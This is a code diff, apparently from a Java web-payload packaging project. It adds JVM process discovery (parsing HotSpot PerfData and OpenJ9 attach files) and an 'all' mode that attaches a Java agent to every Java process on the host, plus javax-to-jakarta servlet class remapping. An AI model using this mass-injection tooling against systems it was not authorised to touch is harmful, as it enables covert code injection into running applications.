sb.append(pid);
|
||||||
|
if (mainClass.length() > 0) {
|
||||||
|
sb.append(' ').append(mainClass);
|
||||||
|
}
|
||||||
|
sb.append(" (").append(vmType).append(')');
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories
|
||||||
|
* in the system temporary folder and parsing PerfData v2 binary files.
|
||||||
|
*/
|
||||||
|
private static class HotSpotProcessDiscovery {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The PerfData magic number: {@code 0xcafec0c0}.
|
||||||
|
*/
|
||||||
|
private static final int PERFDATA_MAGIC = 0xcafec0c0;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The directory name prefix for HotSpot PerfData user directories.
|
||||||
|
*/
|
||||||
|
private static final String HSPERFDATA_PREFIX = "hsperfdata_";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The PerfData entry name for the Java command line.
|
||||||
|
*/
|
||||||
|
private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The data units value for STRING type entries.
|
||||||
|
*/
|
||||||
|
private static final byte UNITS_STRING = 5;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Maximum PerfData file size to read (1 MB), as a safety bound.
|
||||||
|
*/
|
||||||
|
private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Minimum PerfData file size (v2 prologue is 32 bytes).
|
||||||
|
*/
|
||||||
|
private static final int MIN_PERFDATA_SIZE = 32;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The size of a PerfData v2 entry header in bytes.
|
||||||
|
*/
|
||||||
|
private static final int ENTRY_HEADER_SIZE = 20;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Discovers all HotSpot JVM processes visible to the current user.
|
||||||
|
*
|
||||||
|
* @return A list of discovered HotSpot Java process descriptors.
|
||||||
|
*/
|
||||||
|
static List<JavaProcessDescriptor> discover() {
|
||||||
|
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
|
||||||
|
Set<String> seen = new HashSet<String>();
|
||||||
|
for (File tmpDir : getTempDirectories()) {
|
||||||
|
if (!tmpDir.isDirectory()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
File[] userDirs = tmpDir.listFiles();
|
||||||
|
if (userDirs == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
for (File userDir : userDirs) {
|
||||||
|
if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
File[] pidFiles = userDir.listFiles();
|
||||||
|
if (pidFiles == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
for (File pidFile : pidFiles) {
|
||||||
|
String fileName = pidFile.getName();
|
||||||
|
if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!seen.add(fileName)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
String javaCommand = parsePerfData(pidFile);
|
||||||
|
result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the list of temporary directories to scan for HotSpot PerfData files.
|
||||||
|
* On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
|
||||||
|
* and also {@code java.io.tmpdir} if it differs.
|
||||||
|
*
|
||||||
|
* @return A list of temporary directories.
|
||||||
|
*/
|
||||||
|
private static List<File> getTempDirectories() {
|
||||||
|
List<File> dirs = new ArrayList<File>();
|
||||||
|
String osName = System.getProperty("os.name", "");
|
||||||
|
if (osName.startsWith("Windows")) {
|
||||||
|
dirs.add(new File(System.getProperty("java.io.tmpdir")));
|
||||||
|
} else {
|
||||||
|
dirs.add(new File("/tmp"));
|
||||||
|
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
|
||||||
|
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
|
||||||
|
dirs.add(new File(javaIoTmpDir));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return dirs;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Parses a HotSpot PerfData v2 binary file to extract the value of
|
||||||
|
* {@code sun.rt.javaCommand}.
|
||||||
|
* <p>
|
||||||
|
* The PerfData v2 binary format consists of a 32-byte prologue followed
|
||||||
|
* by a sequence of variable-length entries. Each entry contains a name
|
||||||
|
* and a data value. This method iterates through entries looking for
|
||||||
|
* the {@code sun.rt.javaCommand} entry.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param file The PerfData file to parse.
|
||||||
|
* @return The value of {@code sun.rt.javaCommand}, or empty string if not found.
|
||||||
|
*/
|
||||||
|
private static String parsePerfData(File file) {
|
||||||
|
FileInputStream fis = null;
|
||||||
|
try {
|
||||||
|
fis = new FileInputStream(file);
|
||||||
|
long fileLength = file.length();
|
||||||
|
if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
byte[] data = new byte[(int) fileLength];
|
||||||
|
int totalRead = 0;
|
||||||
|
int bytesRead;
|
||||||
|
while (totalRead < data.length
|
||||||
|
&& (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
|
||||||
|
totalRead += bytesRead;
|
||||||
|
}
|
||||||
|
if (totalRead < MIN_PERFDATA_SIZE) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
|
||||||
|
// Magic number is always stored in big-endian
|
||||||
|
buffer.order(ByteOrder.BIG_ENDIAN);
|
||||||
|
int magic = buffer.getInt(); // offset 0
|
||||||
|
if (magic != PERFDATA_MAGIC) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
byte byteOrder = buffer.get(); // offset 4
|
||||||
|
if (byteOrder == 1) {
|
||||||
|
buffer.order(ByteOrder.LITTLE_ENDIAN);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte majorVersion = buffer.get(); // offset 5
|
||||||
|
buffer.get(); // offset 6: minor version
|
||||||
|
buffer.get(); // offset 7: accessible / reserved
|
||||||
|
|
||||||
|
if (majorVersion < 2) {
|
||||||
|
// Only PerfData v2 format is supported
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
// v2 prologue fields
|
||||||
|
buffer.getInt(); // offset 8: used
|
||||||
|
buffer.getInt(); // offset 12: overflow
|
||||||
|
buffer.getLong(); // offset 16: mod_time_stamp
|
||||||
|
int entryOffset = buffer.getInt(); // offset 24: entry_offset
|
||||||
|
int numEntries = buffer.getInt(); // offset 28: num_entries
|
||||||
|
|
||||||
|
// Iterate through PerfData entries
|
||||||
|
int pos = entryOffset;
|
||||||
|
for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
|
||||||
|
buffer.position(pos);
|
||||||
|
int entryLength = buffer.getInt();
|
||||||
|
if (entryLength <= 0 || pos + entryLength > totalRead) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
int nameOffset = buffer.getInt();
|
||||||
|
buffer.getInt(); // vector_length
|
||||||
|
buffer.get(); // data_type
|
||||||
|
buffer.get(); // flags
|
||||||
|
byte dataUnits = buffer.get(); // data_units
|
||||||
|
buffer.get(); // data_variability
|
||||||
|
int dataOffset = buffer.getInt();
|
||||||
|
|
||||||
|
// Read the entry name (null-terminated UTF-8 string)
|
||||||
|
int nameStart = pos + nameOffset;
|
||||||
|
if (nameStart < 0 || nameStart >= totalRead) {
|
||||||
|
pos += entryLength;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
int nameEnd = nameStart;
|
||||||
|
while (nameEnd < totalRead && data[nameEnd] != 0) {
|
||||||
|
nameEnd++;
|
||||||
|
}
|
||||||
|
String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
|
||||||
|
|
||||||
|
if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
|
||||||
|
// Read the string value
|
||||||
|
int dataStart = pos + dataOffset;
|
||||||
|
if (dataStart < 0 || dataStart >= totalRead) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
int dataEnd = dataStart;
|
||||||
|
while (dataEnd < totalRead && data[dataEnd] != 0) {
|
||||||
|
dataEnd++;
|
||||||
|
}
|
||||||
|
return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
|
||||||
|
}
|
||||||
|
|
||||||
|
pos += entryLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
return "";
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
return "";
|
||||||
|
} finally {
|
||||||
|
if (fis != null) {
|
||||||
|
try {
|
||||||
|
fis.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
/* do nothing */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Checks if a string consists entirely of digit characters.
|
||||||
|
*
|
||||||
|
* @param str The string to check.
|
||||||
|
* @return {@code true} if the string is non-empty and contains only digits.
|
||||||
|
*/
|
||||||
|
private static boolean isNumeric(String str) {
|
||||||
|
if (str == null || str.isEmpty()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
for (int i = 0; i < str.length(); i++) {
|
||||||
|
if (str.charAt(i) < '0' || str.charAt(i) > '9') {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extracts the main class name from a {@code sun.rt.javaCommand} value.
|
||||||
|
* The value format is typically {@code "mainClass arg1 arg2 ..."} or
|
||||||
|
* {@code "/path/to/app.jar arg1 arg2 ..."}. This method returns the
|
||||||
|
* first space-delimited token.
|
||||||
|
*
|
||||||
|
* @param javaCommand The full Java command string.
|
||||||
|
* @return The main class or JAR name, or empty string if input is empty.
|
||||||
|
*/
|
||||||
|
private static String extractMainClass(String javaCommand) {
|
||||||
|
if (javaCommand == null || javaCommand.isEmpty()) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
int spaceIndex = javaCommand.indexOf(' ');
|
||||||
|
return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories
|
||||||
|
* and reading {@code attachInfo} property files.
|
||||||
|
*/
|
||||||
|
private static class OpenJ9ProcessDiscovery {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The directory name used by OpenJ9 for attach API information.
|
||||||
|
*/
|
||||||
|
private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The file name containing process attach information within each VM directory.
|
||||||
|
*/
|
||||||
|
private static final String ATTACH_INFO_FILE = "attachInfo";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Discovers all OpenJ9 JVM processes visible to the current user.
|
||||||
|
*
|
||||||
|
* @return A list of discovered OpenJ9 Java process descriptors.
|
||||||
|
*/
|
||||||
|
static List<JavaProcessDescriptor> discover() {
|
||||||
|
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
|
||||||
|
for (File attachDir : getAttachDirectories()) {
|
||||||
|
if (!attachDir.isDirectory()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
File[] vmDirs = attachDir.listFiles();
|
||||||
|
if (vmDirs == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
for (File vmDir : vmDirs) {
|
||||||
|
if (!vmDir.isDirectory()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
|
||||||
|
if (!attachInfo.isFile() || !attachInfo.canRead()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
FileInputStream fis = null;
|
||||||
|
try {
|
||||||
|
Properties props = new Properties();
|
||||||
|
fis = new FileInputStream(attachInfo);
|
||||||
|
props.load(fis);
|
||||||
|
String pid = props.getProperty("processId");
|
||||||
|
String displayName = props.getProperty("displayName", "");
|
||||||
|
if (pid != null && pid.length() > 0) {
|
||||||
|
result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
/* do nothing */
|
||||||
|
} finally {
|
||||||
|
if (fis != null) {
|
||||||
|
try {
|
||||||
|
fis.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
/* do nothing */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the list of directories to scan for OpenJ9 attach information.
|
||||||
|
* On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
|
||||||
|
* and also {@code java.io.tmpdir} if it differs. Additionally checks the
|
||||||
|
* {@code com.ibm.tools.attach.directory} system property.
|
||||||
|
*
|
||||||
|
* @return A list of attach directories to scan.
|
||||||
|
*/
|
||||||
|
private static List<File> getAttachDirectories() {
|
||||||
|
List<File> dirs = new ArrayList<File>();
|
||||||
|
String osName = System.getProperty("os.name", "");
|
||||||
|
if (osName.startsWith("Windows")) {
|
||||||
|
dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
|
||||||
|
} else {
|
||||||
|
dirs.add(new File("/tmp", ATTACH_DIR_NAME));
|
||||||
|
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
|
||||||
|
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
|
||||||
|
dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
|
||||||
|
if (ibmAttachDir != null) {
|
||||||
|
dirs.add(new File(ibmAttachDir));
|
||||||
|
}
|
||||||
|
return dirs;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,9 +1,46 @@
|
|||||||
|
import java.util.List;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/5/16
|
* @since 2025/5/16
|
||||||
*/
|
*/
|
||||||
public class Main {
|
public class Main {
|
||||||
|
/**
|
||||||
|
* java -jar attach.jar — 列出所有 Java 进程
|
||||||
|
* java -jar attach.jar <pid> — 注入指定进程
|
||||||
|
* java -jar attach.jar all — 注入所有 Java 进程(自动跳过自身,单个失败不影响其他进程)
|
||||||
|
*/
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
Attacher.attach(args[0]);
|
if (args.length == 0) {
|
||||||
|
List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
|
||||||
|
if (processes.isEmpty()) {
|
||||||
|
System.out.println("No Java processes found.");
|
||||||
|
} else {
|
||||||
|
for (Attacher.JavaProcessDescriptor process : processes) {
|
||||||
|
System.out.println(process);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if ("all".equalsIgnoreCase(args[0])) {
|
||||||
|
List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
|
||||||
|
String currentPid = Attacher.ProcessProvider.ForCurrentVm.INSTANCE.resolve();
|
||||||
|
if (processes.isEmpty()) {
|
||||||
|
System.out.println("No Java processes found.");
|
||||||
|
} else {
|
||||||
|
for (Attacher.JavaProcessDescriptor process : processes) {
|
||||||
|
if (process.getPid().equals(currentPid)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
System.out.println("Attaching to " + process + " ...");
|
||||||
|
Attacher.attach(process.getPid());
|
||||||
|
System.out.println(" -> Success");
|
||||||
|
} catch (Exception e) {
|
||||||
|
System.out.println(" -> Failed: " + e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
Attacher.attach(args[0]);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+31
-12
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.asm;
|
package com.reajason.javaweb.asm;
|
||||||
|
|
||||||
|
import org.jetbrains.annotations.NotNull;
|
||||||
import org.objectweb.asm.ClassReader;
|
import org.objectweb.asm.ClassReader;
|
||||||
import org.objectweb.asm.ClassWriter;
|
import org.objectweb.asm.ClassWriter;
|
||||||
import org.objectweb.asm.Opcodes;
|
import org.objectweb.asm.Opcodes;
|
||||||
@@ -14,12 +15,7 @@ import org.objectweb.asm.commons.SimpleRemapper;
|
|||||||
public class ClassRenameUtils {
|
public class ClassRenameUtils {
|
||||||
|
|
||||||
public static byte[] renameClass(byte[] classBytes, String newName) {
|
public static byte[] renameClass(byte[] classBytes, String newName) {
|
||||||
ClassReader reader = null;
|
ClassReader reader = getClassReader(classBytes);
|
||||||
try {
|
|
||||||
reader = new ClassReader(classBytes);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("invalid class bytes");
|
|
||||||
}
|
|
||||||
String oldClassName = reader.getClassName();
|
String oldClassName = reader.getClassName();
|
||||||
String newClassName = newName.replace('.', '/');
|
String newClassName = newName.replace('.', '/');
|
||||||
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
||||||
@@ -29,12 +25,7 @@ public class ClassRenameUtils {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public static byte[] relocateClass(byte[] classBytes, String relocateClassPackage, String relocatePrefix) {
|
public static byte[] relocateClass(byte[] classBytes, String relocateClassPackage, String relocatePrefix) {
|
||||||
ClassReader reader = null;
|
ClassReader reader = getClassReader(classBytes);
|
||||||
try {
|
|
||||||
reader = new ClassReader(classBytes);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("invalid class bytes");
|
|
||||||
}
|
|
||||||
String oldClassName = relocateClassPackage.replace('.', '/');
|
String oldClassName = relocateClassPackage.replace('.', '/');
|
||||||
String newClassName = relocatePrefix.replace('.', '/');
|
String newClassName = relocatePrefix.replace('.', '/');
|
||||||
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS);
|
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS);
|
||||||
@@ -51,4 +42,32 @@ public class ClassRenameUtils {
|
|||||||
reader.accept(adapter, 0);
|
reader.accept(adapter, 0);
|
||||||
return writer.toByteArray();
|
return writer.toByteArray();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static byte[] relocateJakarta(byte[] classBytes) {
|
||||||
|
ClassReader reader = getClassReader(classBytes);
|
||||||
|
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS);
|
||||||
|
ClassRemapper adapter = new ClassRemapper(writer, new Remapper(Opcodes.ASM9) {
|
||||||
|
@Override
|
||||||
|
public String map(String typeName) {
|
||||||
|
if (typeName.startsWith("javax/servlet/")
|
||||||
|
|| typeName.startsWith("javax/websocket/")) {
|
||||||
|
return typeName.replaceFirst("javax", "jakarta");
|
||||||
|
} else {
|
||||||
|
return typeName;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
reader.accept(adapter, 0);
|
||||||
|
return writer.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static @NotNull ClassReader getClassReader(byte[] classBytes) {
|
||||||
|
ClassReader reader = null;
|
||||||
|
try {
|
||||||
|
reader = new ClassReader(classBytes);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("invalid class bytes");
|
||||||
|
}
|
||||||
|
return reader;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ package com.reajason.javaweb.packer.jar.attach;/*
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
|
import java.io.FileInputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -22,13 +23,12 @@ import java.net.MalformedURLException;
|
|||||||
import java.net.URISyntaxException;
|
import java.net.URISyntaxException;
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.net.URLClassLoader;
|
import java.net.URLClassLoader;
|
||||||
|
import java.nio.ByteBuffer;
|
||||||
|
import java.nio.ByteOrder;
|
||||||
import java.security.CodeSource;
|
import java.security.CodeSource;
|
||||||
import java.security.PrivilegedAction;
|
import java.security.PrivilegedAction;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.Collections;
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
||||||
@@ -53,24 +53,54 @@ public class Attacher {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
try {
|
if (args.length == 0) {
|
||||||
Attacher.attach(args[0]);
|
List<JavaProcessDescriptor> processes = listJavaProcesses();
|
||||||
} catch (Exception e) {
|
if (processes.isEmpty()) {
|
||||||
if (!e.getMessage().equals("0")) {
|
System.out.println("No Java processes found.");
|
||||||
Throwable cause = e.getCause();
|
} else {
|
||||||
if (cause != null) {
|
for (JavaProcessDescriptor process : processes) {
|
||||||
if (!cause.getMessage().equals("0")) {
|
System.out.println(process);
|
||||||
cause = e.getCause();
|
}
|
||||||
if (cause != null) {
|
}
|
||||||
if (!cause.getMessage().equals("0")) {
|
} else if ("all".equalsIgnoreCase(args[0])) {
|
||||||
throw e;
|
List<JavaProcessDescriptor> processes = listJavaProcesses();
|
||||||
}
|
String currentPid = ProcessProvider.ForCurrentVm.INSTANCE.resolve();
|
||||||
}
|
if (processes.isEmpty()) {
|
||||||
|
System.out.println("No Java processes found.");
|
||||||
|
} else {
|
||||||
|
for (JavaProcessDescriptor process : processes) {
|
||||||
|
if (process.getPid().equals(currentPid)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
System.out.println("Attaching to " + process + " ...");
|
||||||
|
doAttach(process.getPid());
|
||||||
|
System.out.println(" -> Success");
|
||||||
|
} catch (Exception e) {
|
||||||
|
System.out.println(" -> Failed: " + e.getMessage());
|
||||||
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
doAttach(args[0]);
|
||||||
|
System.out.println("ok");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void doAttach(String processId) {
|
||||||
|
try {
|
||||||
|
Attacher.attach(processId);
|
||||||
|
} catch (Exception e) {
|
||||||
|
Throwable currentCause = e;
|
||||||
|
while (currentCause != null) {
|
||||||
|
if ("0".equals(currentCause.getMessage())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
currentCause = currentCause.getCause();
|
||||||
|
}
|
||||||
|
throw (RuntimeException) e;
|
||||||
}
|
}
|
||||||
System.out.println("ok");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -112,6 +142,30 @@ public class Attacher {
|
|||||||
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Lists all discoverable Java processes on the local host.
|
||||||
|
* Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @return A list of discovered Java process descriptors.
|
||||||
|
*/
|
||||||
|
public static List<JavaProcessDescriptor> listJavaProcesses() {
|
||||||
|
List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
|
||||||
|
Set<String> seenPids = new HashSet<String>();
|
||||||
|
for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
|
||||||
|
if (seenPids.add(descriptor.getPid())) {
|
||||||
|
processes.add(descriptor);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
|
||||||
|
if (seenPids.add(descriptor.getPid())) {
|
||||||
|
processes.add(descriptor);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return processes;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Installs a Java agent on a target VM.
|
* Installs a Java agent on a target VM.
|
||||||
*
|
*
|
||||||
@@ -949,4 +1003,300 @@ public class Attacher {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Represents a discovered Java process on the local host.
|
||||||
|
*/
|
||||||
|
public static class JavaProcessDescriptor {
|
||||||
|
|
||||||
|
private final String pid;
|
||||||
|
private final String mainClass;
|
||||||
|
private final String vmType;
|
||||||
|
|
||||||
|
public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
|
||||||
|
this.pid = pid;
|
||||||
|
this.mainClass = mainClass;
|
||||||
|
this.vmType = vmType;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getPid() {
|
||||||
|
return pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getMainClass() {
|
||||||
|
return mainClass;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getVmType() {
|
||||||
|
return vmType;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
sb.append(pid);
|
||||||
|
if (mainClass.length() > 0) {
|
||||||
|
sb.append(' ').append(mainClass);
|
||||||
|
}
|
||||||
|
sb.append(" (").append(vmType).append(')');
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories.
|
||||||
|
*/
|
||||||
|
private static class HotSpotProcessDiscovery {
|
||||||
|
|
||||||
|
private static final int PERFDATA_MAGIC = 0xcafec0c0;
|
||||||
|
private static final String HSPERFDATA_PREFIX = "hsperfdata_";
|
||||||
|
private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
|
||||||
|
private static final byte UNITS_STRING = 5;
|
||||||
|
private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
|
||||||
|
private static final int MIN_PERFDATA_SIZE = 32;
|
||||||
|
private static final int ENTRY_HEADER_SIZE = 20;
|
||||||
|
|
||||||
|
static List<JavaProcessDescriptor> discover() {
|
||||||
|
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
|
||||||
|
Set<String> seen = new HashSet<String>();
|
||||||
|
for (File tmpDir : getTempDirectories()) {
|
||||||
|
if (!tmpDir.isDirectory()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
File[] userDirs = tmpDir.listFiles();
|
||||||
|
if (userDirs == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
for (File userDir : userDirs) {
|
||||||
|
if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
File[] pidFiles = userDir.listFiles();
|
||||||
|
if (pidFiles == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
for (File pidFile : pidFiles) {
|
||||||
|
String fileName = pidFile.getName();
|
||||||
|
if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!seen.add(fileName)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
String javaCommand = parsePerfData(pidFile);
|
||||||
|
result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static List<File> getTempDirectories() {
|
||||||
|
List<File> dirs = new ArrayList<File>();
|
||||||
|
String osName = System.getProperty("os.name", "");
|
||||||
|
if (osName.startsWith("Windows")) {
|
||||||
|
dirs.add(new File(System.getProperty("java.io.tmpdir")));
|
||||||
|
} else {
|
||||||
|
dirs.add(new File("/tmp"));
|
||||||
|
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
|
||||||
|
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
|
||||||
|
